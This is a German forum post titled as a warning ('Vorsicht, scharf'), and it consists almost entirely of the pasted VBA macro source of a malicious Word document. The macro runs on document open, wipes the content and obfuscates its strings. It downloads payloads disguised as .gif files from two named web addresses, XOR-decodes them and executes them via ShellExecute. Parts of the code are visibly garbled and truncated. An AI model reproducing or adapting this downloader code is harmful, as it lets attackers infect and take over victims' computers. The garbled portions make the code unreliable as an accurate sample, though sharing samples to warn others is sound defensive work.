AW: Vorsicht!!!! (scharf)
27.09.2018 17:46:53
Anonymous
https://www.mrexcel.com/forum/excel-questions/1005355-%2A%2Ahelp%2A%2A-code-decrypt.html _
#If VBA7 And Win64 ThenPrivate Declare PtrSafe Function kacyzys Lib "shell32.dll" Alias " _
ShellExecuteA" (ByVal hwnd As Long, ByVal Operation As String, ByVal Filename As String, Optional ByVal Parameters As String, Optional ByVal Directory As String, Optional ByVal WindowStyle As Long = vbMaximizedFocus) As LongLong
' Private Declare PtrSafe Function izyxiky Lib "kernel32" Alias "GetTempPathA" (ByVal _
nBufferLength As Long, ByVal lpBuffer As String) As Long
' Private Declare PtrSafe Function vivicuf Lib "kernel32" Alias "GetTempFileNameA" ( _
ByVal lpszPath As String, ByVal lpPrefixString As String, ByVal wUnique As Long, ByVal lpTempFileName As String) As Long
' Private Declare PtrSafe Function xukovox Lib "urlmon" Alias "URLDownloadToFileA" ( _
ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
#Else
' Private Declare Function kacyzys Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd _
As Long, ByVal Operation As String, ByVal Filename As String, Optional ByVal Parameters As String, Optional ByVal Directory As String, Optional ByVal WindowStyle As Long = vbMaximizedFocus) As Long
' Private Declare Function izyxiky Lib "kernel32" Alias "GetTempPathA" (ByVal _
nBufferLength As Long, ByVal lpBuffer As String) As Long
' Private Declare Function vivicuf Lib "kernel32" Alias "GetTempFileNameA" (ByVal _
lpszPath As String, ByVal lpPrefixString As String, ByVal wUnique As Long, ByVal lpTempFileName As String) As Long
' Private Declare Function xukovox Lib "urlmon" Alias "URLDownloadToFileA" (ByVal _
pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
#End If
' Sub Document_Open()
Dim cucywoj As String
Dim qipofow As String
Dim lygomos As Long
Dim imatase As Long
Dim ibymitu As Integer
Dim egaresi() As Byte
Dim wijyher As Object
Dim iqykomo As Object
#If Win64 Then
Dim byqafyg As LongLong
#Else
Dim byqafyg As Long
#End If
ActiveDocument.Content.Delete
ActiveDocument.PageSetup.LeftMargin = 240
ActiveDocument.PageSetup.TopMargin = 100
Set myRange = ActiveDocument.Content
With myRange.Font
.Name = acadure("A`sF"",""")
.Size = 14
End With
ActiveDocument.Range.Text = acadure("m1`f{ghttp://www.imeiliberar.com/php/lut.gif
imatase = FileLen(cucywoj)
End If
If lygomos 0 And imatase http://youngequipmentsolutions.com/misterblack/black.gif
imatase = FileLen(cucywoj)
End If
If imatase 0 And cubagyz 0 Then
ewekixo = Left$(aruxane, InStr(aruxane, vbNullChar) - 1)
End If
lypasof = ewekixo
End If
End Function
Public Sub povynuf(egaresi() As Byte)
Dim pumavot As Long
Dim tixubiz As Long
Dim gagyxit As Long
Dim kerihov(256) As Byte
Dim hexozys As Long
Dim ytepiku As Long
tixubiz = UBound(egaresi) + 1
For pumavot = 10 To 265
kerihov(pumavot - 10) = egaresi(pumavot)
Next
hexozys = UBound(kerihov) + 1
ytepiku = 0
For pumavot = 266 To (tixubiz - 1)
egaresi(pumavot - 266) = egaresi(pumavot) Xor kerihov(ytepiku)
ytepiku = ytepiku + 1
If ytepiku = (hexozys - 1) Then
ytepiku = 0
End If
Next
ReDim Preserve egaresi(tixubiz - 267)
End Sub
Public Function acadure(ByVal bidabes As String) As String
Dim koqogof(256)
Dim okexepu As String
Dim murazah As Long
Dim oxamalo As String
okexepu = "G6aE@:KxvflQnwmgAhYo-~8yb{25SqUOjV&'I+dWX?`T1\%_;7$3t=9p4)]DBZ^He#.JP*c z| _
iR0CN""[FMru"
For murazah = 1 To Len(okexepu)
koqogof(murazah + 31) = Mid(okexepu, murazah, 1)
Next murazah
For murazah = 1 To Len(bidabes)
oxamalo = Mid(bidabes, murazah, 1)
acadure = acadure & koqogof(Asc(oxamalo))
Next murazah
End Function